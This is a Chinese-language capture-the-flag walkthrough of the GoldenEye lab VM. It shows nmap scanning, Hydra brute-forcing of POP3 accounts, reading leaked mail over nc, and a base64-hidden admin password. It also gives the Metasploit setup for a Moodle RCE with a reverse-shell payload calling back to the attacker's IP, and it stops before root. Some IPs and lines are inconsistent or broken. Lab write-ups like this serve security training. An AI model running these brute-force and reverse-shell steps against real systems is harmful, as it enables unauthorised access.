基本信息分析:
这里
kali
(
192.168.1.18
)靶机(
192.168.1.17
)
1.
信息收集
2.
端口扫描
3.pop3
协议
4.
爆破邮件
5.cms
信息收集
6.MSF
或反弹
shell
7.
内核提权
8.
获取
flag
切记需要kali和glodeneye靶场都需要桥接模式,如果不用桥接模式的话,无法发现glodeneye的IP地址
靶场:
1
、扫描本地的
IP
地址信息进行渗透:
netdiscover -r 192.168.0.0/24 //
根据
MAC
地址找到相应的靶机


通过匹配发现IP地址是192.168.1.17
1
-sS TCP SYN
扫描
2
-sU UDP
扫描
3
-sA ACK
扫描
4
-sW
窗口扫描
5
–scanflags RSTSYNFIN
自定义扫描
6
-O
检测目标操作系统类型
7
-sV
检测目标上运行服务的版本
8
-v
增加输出信息的详细程度
9
-vv
增加输出详细程度为
2
10
-oA
将
nmap
输出保存为三种主要格式
11
-oN
将
nmap
输出保存为正常格式
12
-A
全部扫描 激进模式
13
-T<1-5>
扫描速度 扫描速度越快会被发现的几率就会越高
14
-p<1-65535>
扫描端口
15
-p-
扫描所有端口
16
–script
激活脚本
17
–script=vuln
激活
vuln
类别中的所有脚本
18
-F 100
个最常见的端口
19
–max-rate 50
速率
<= 50
包
/
秒
20
–min-rate 15
速率
>= 15
包
/
秒
21
–min-parallelism 100
至少
100
个并行探头
22
–reason
提供有关其推理和结论的更多详细信息
masscan -p 0-65535 --rate=1000 192.168.1.17 //masscan
扫描端口速度比较快,
发现是
192.168.1.17

nmap -sS -sV -T5 -A 192.168.1.17 //
先去找
IP
在去找端口
-T5
最快速度扫描

然后我们发现开放了
25
、
80
端口,我们这里先对于
80
端口渗透然后接下来在去对
25
端口渗透。
2
、进行目录扫描
http://192.168.0.6:80
,显示的文本提示了一条线索,它说进入到
/sev-home/
目录中。
User: UNKNOWN
Naviagate to /sev-home/ to login
需要登录,开始枚举查找用户名密码信息!
💡
3
、我们进行常规渗透

在
http://192.168.1.17/
页面查看源代码
访问:
view-source:
http://192.168.1.17/terminal.js
//
//Boris, make sure you update your default password.
//Boris
,请确保更新您的默认密码。
//My sources say MI6 maybe planning to infiltrate.
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//InvincibleHack3r
//
//BTW Natalya says she can break your codes
//
获得用户名:
Boris
、
Natalya
获得
HTML
密码:
InvincibleHack3r
解密
HTML
:
InvincibleHack3r
账号名:
Boris
,
boris
,
Natalya
,
natalya
最终账号密码:
boris/InvincibleHack3r

4
、查看
js
的相关文件
http://192.168.1.17/sev-home/
登录后进行信息枚举:
F12
调试界面
黄金眼
黄金眼是苏联的绝密武器项目。由于您可以访问,因此您肯定拥有绝密许可,并有资格成为经过认证的黄金眼网络运
营商(
GNO
)
请向合格的
GNO
主管发送电子邮件,以接受在线
GoldenEye
操作员培训 ,成为
GoldenEye
系统的管理员
请记住,由于 隐蔽性的安全性 非常有效,因此我们已将
pop3
服务配置为在非常高的非默认端口上运行
5
、前面信息我们可以了解到某个非默认端口上正在运行一个活动的
POP3
服务
(
110
端口),进行
nmap
全端口扫描:
┌──(root
㉿
kali)-[/home/kali/Desktop]
└─# nmap -p 0-65535 192.168.0.6
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
55006/tcp open unknown
55007/tcp open unknown
发现
55006
,
55007
两个开放的端口,扫描端口开启的服务详细信息:
nmap -sS -sV -T5 -A -p55006,55007 192.168.0.6
Starting Nmap 7.93 (
https://nmap.org
) at 2023-09-24 04:23 EDT
Nmap scan report for www.webhack123.com (192.168.0.6)
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
55006/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES SASL(PLAIN) PIPELINING CAPA TOP AUTH-RESP-CODE UIDL USER
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=
Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
55007/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES PIPELINING TOP STLS CAPA SASL(PLAIN) AUTH-RESP-CODE UIDL USER
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:5B:A4:84 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.60 ms www.webhack123.com (192.168.0.6)
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
.
Nmap done: 1 IP address (1 host up) scanned in 26.32 seconds
6
、访问
http://192.168.0.6:55007/
PORT STATE SERVICE VERSION
55006/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES SASL(PLAIN) PIPELINING CAPA TOP AUTH-RESP-CODE UIDL USER
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
55007/tcp open pop3 Dovecot pop3d
7、接下来尝试使用暴力破解,通过
Hydra
暴力破解
pop3
服务,我们前面:
echo -e 'natalya\nboris\nBoris\nNatalya' > key.txt ---
将四个用户名写入
txt
文本中
echo -e \n
换行
hydra -L key.txt -P /usr/share/wordlists/fasttrack.txt 192.168.0.6 -s 55007 pop3 -vV //-L
文本
-l
是用户名
- p
密码
-vV
会显示每一条线程
.txt -P /usr/share/wordlists/fasttrack.txt 192.168.0.6 -s 55007 pop3
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (
https://github.com/vanhauser-thc/thc-hydra)
starting at 2023-09-24 04:49:38
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session
found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 888 login tries (l:4/p:222), ~56 tries per task
[DATA] attacking pop3://192.168.0.6:55007/
[STATUS] 64.00 tries/min, 64 tries in 00:01h, 824 to do in 00:13h, 16 active
[55007][pop3] host: 192.168.0.6 login: natalya password: bird
[55007][pop3] host: 192.168.0.6 login: boris password: secret1!
[ERROR] POP3 PLAIN AUTH : -ERR Disconnected for inactivity during authentication.
用户:
boris
密码:
secret1!
用户:
natalya
密码:
bird



8
、通过
NC
登录
pop3
查看邮件信封内容枚举:
pop3端口号是110;pop3全名为“post office protocol - version 3”,即“邮局协议版本3”;是tcp/ip协议族中的一员,由rfc1939 定义;本协议主要用于支持使用客户端远程管理在服务器上的电子邮件;提供了ssl加密的pop3协议被称为pop3s。
nc 192.168.0.6 55007 ---
登录邮箱
user boris ---
登录用户
pass secret1! ---
登录密码
list ---
查看邮件数量
retr 1 ---
查看邮件内容
第一封来自用户
“boris”
,
retr 1
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id D9E47454B1
for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan
emails for security risks because I trust you and the other admins here.
第二封来自用户
“natalya”
,称她可以获取
Boris
的密码。
retr 2
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id C3F2B454B1
for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu
Boris, I can break your codes!
第三封邮件可以看出有一份文件用了
GoldenEye
的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此
处阅读附件。
retr 3
+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id 4B9F4454B1
for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them
in a hidden file within the root directory of this server then remove from this email. There can only be one set of
these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan
will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push
to our final stages....
PS - Keep security tight or we will be compromised.
natalya
用户登录邮件查看信息:
nc 192.168.0.6 55007 ---
登录邮箱
user natalya ---
登录用户
pass bird ---
登录密码
list ---
查看邮件数量
retr 1~2 ---
查看邮件内容
retr 1
+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id D5EDA454B1
for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu
Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you
once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime
syndicate named Janus.
.
第一封邮件:
娜塔莉亚,请你停止破解鲍里斯的密码。 此外,您是
GNO
培训主管。 一旦学生被指定给你,我就会给你发电子邮
件。
此外,请注意可能的网络漏洞。 我们获悉,一个名为
Janus
的犯罪集团正在追捕
GoldenEye
retr 2
+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id 17C96454B1
for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu
Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config
issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the
change order escalated without much hassle :)
Ok, user creds are:
username: xenia
password: RCP90rulez!
Boris verified her as a valid contractor so just create the account ok?
And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....
Since you're a Linux user just point this servers
IP to severnaya-station.com in /etc/hosts.
。
9
、设置本地
HOSTS
文件
vi /etc/hosts
(
gedit
,
vi
是一个
Linux
环境下的文本编辑器)
192.168.1.17 severnaya-station.com
10
、访问
severnaya-station.com/gnocertdir
地址:

刚登陆界面我就看到了
moodle
,发现这个是
CMS
系统,使用邮件获得的用户密码进行登陆。
whatweb severnaya-station.com/gnocertdir —
用
whatweb
进行指纹搜索
http://severnaya-station.com/gnocertdir
[301 Moved Permanently] Apache[2.4.7], Country[RESERVED][ZZ],
HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[192.168.0.6], RedirectLocation[
http://severnaya-station.c
om/gnocertdir/
], Title[301 Moved Permanently]
http://severnaya-station.com/gnocertdir/
[200 OK] Apache[2.4.7], Content-Language[en],
Cookies[MoodleSession], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)],
IP[192.168.0.6], Moodle, PHP[5.5.9-1ubuntu4.24], Script[footer,head,text/css,text/javascript], Title[GoldenEye
Operators Training - Moodle], UncommonHeaders[content-script-type,content-style-type], X-Frame
Options[sameorigin], X-Powered-By[PHP/5.5.9-1ubuntu4.24]
点击:
Intro to GoldenEye
可以进行登录,使用
natalya
邮箱第二封邮件获得的用户名密码登录:
用户名:
xenia
密码:
RCP90rulez!
在
Home-> My profile->Messages ->
发现有一封邮件,内容发现用户名
doak
2.2.3: My home
去看一下有没有相应的
poc
或者
exp
11
、继续爆破用户名
doak
的邮件
💡
㉿
kali)-[/home/kali/Desktop]
└─# echo -e 'doak\nDoak' >> key.txt ---
将用户名追加到
txt
文本中
>
是定向输出到文件
,
如果文件不存在
,
就创建文件
;
如果文件存在
,
就将其清空
>>
的意思是将输出内容追加到目标文件中。
1
hydra -L key.txt -P /usr/share/wordlists/fasttrack.txt 192.168.0.6 -s 55007 pop3
2
3
[55007][pop3] host: 192.168.0.6 login: doak password: goat
4
获得用户名密码:
doak/goat

退出用户名和密码。是直接点击logout,然后进行再次登陆
12
、登录
doak
用户枚举邮件信息
nc 192.168.1.1755007 ---
登录邮箱
user doak ---
登录用户
pass goat ---
登录密码
list ---
查看邮件数量
retr 1 ---
查看邮件内容
retr 1

13
、使用新的账户密码登录
CMS
2.2.3: My home
登录后在
:Home ->My home
右边发现
:s3cret.txt

14
、访问页面图片页面
我们去下载到本地:
wget
http://severnaya-station.com/dir007key/for-007.jpg
这里是
CTF
杂项图片的隐写,我们可以查看图片的
属性就可以获取


用以上命令都可以查看到
base64
编码隐藏信息:
eFdpbnRlcjE5OTV4IQ==
破解获得密码:
xWinter1995x!
我们根据线索里说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:
admin
密码:
xWinter1995x!
severnaya-station.com/gnocertdir


Moodle
获取反弹
shell
1
这里我们选择使用远程代码执行(
RCE
)漏洞利用,使用
MSF
2
msfconsole ---
进入
MSF
框架攻击界面
3
search moodle ---
查找
moodle
类型 攻击的模块
4
use 1 ---
调用
1 exploit/multi/http/moodle_cmd_exec
调用攻击脚
本
5
set username admin ---
设置用户名:
admin
6
set password xWinter1995x! ---
设置密码:
xWinter1995x!
7
set rhost severnaya-station.com ---
设置:
rhosts severnaya-station.com
8
set targeturi /gnocertdir ---
设置目录:
/gnocertdir
9
set payload cmd/unix/reverse ---
设置
payload
:
cmd/unix/reverse
10
set lhost 192.168.0.7 ---
设置:
lhost 192.168.0.7
(需要本地
IP
)
11
exploit ----
执行命令
1
use exploit/multi/http/moodle_cmd_exec
2
msf exploit(moodle_cmd_exec) > set rhost severnaya-station.com
3
msf exploit(moodle_cmd_exec) > set targeturi /gnocertdir
4
msf exploit(moodle_cmd_exec) > set username admin
5
msf exploit(moodle_cmd_exec) > set password xWinter1995x!


1
msf6 exploit(multi/http/moodle_spelling_binary_rce) > set payload cmd/unix/reverse
---
设置
payload
:
cmd/unix/reverse
2
msf6 exploit(multi/http/moodle_spelling_binary_rce) > set lhost 192.168.0.7 ---
设置:
lhost 192.168.0.7
(需要本地
IP
)
3
msf6 exploit(multi/http/moodle_spelling_binary_rce) > run
或者
exploit
当我们执行后发现无法成功,是因为对方需要修改执行
PSpellShell
由于我们已经使用了管理员
admin
用户登录页面,由于使用的是
powershell
命令,需要在设置中修改:
Home ->Site administration->Plugins ->Text editors ->TinyMCE HTML editor
来到此处,修改
PSpellShell
然后
save
!

msf6 exploit(multi/http/moodle_spelling_binary_rce) > run
或者
exploit
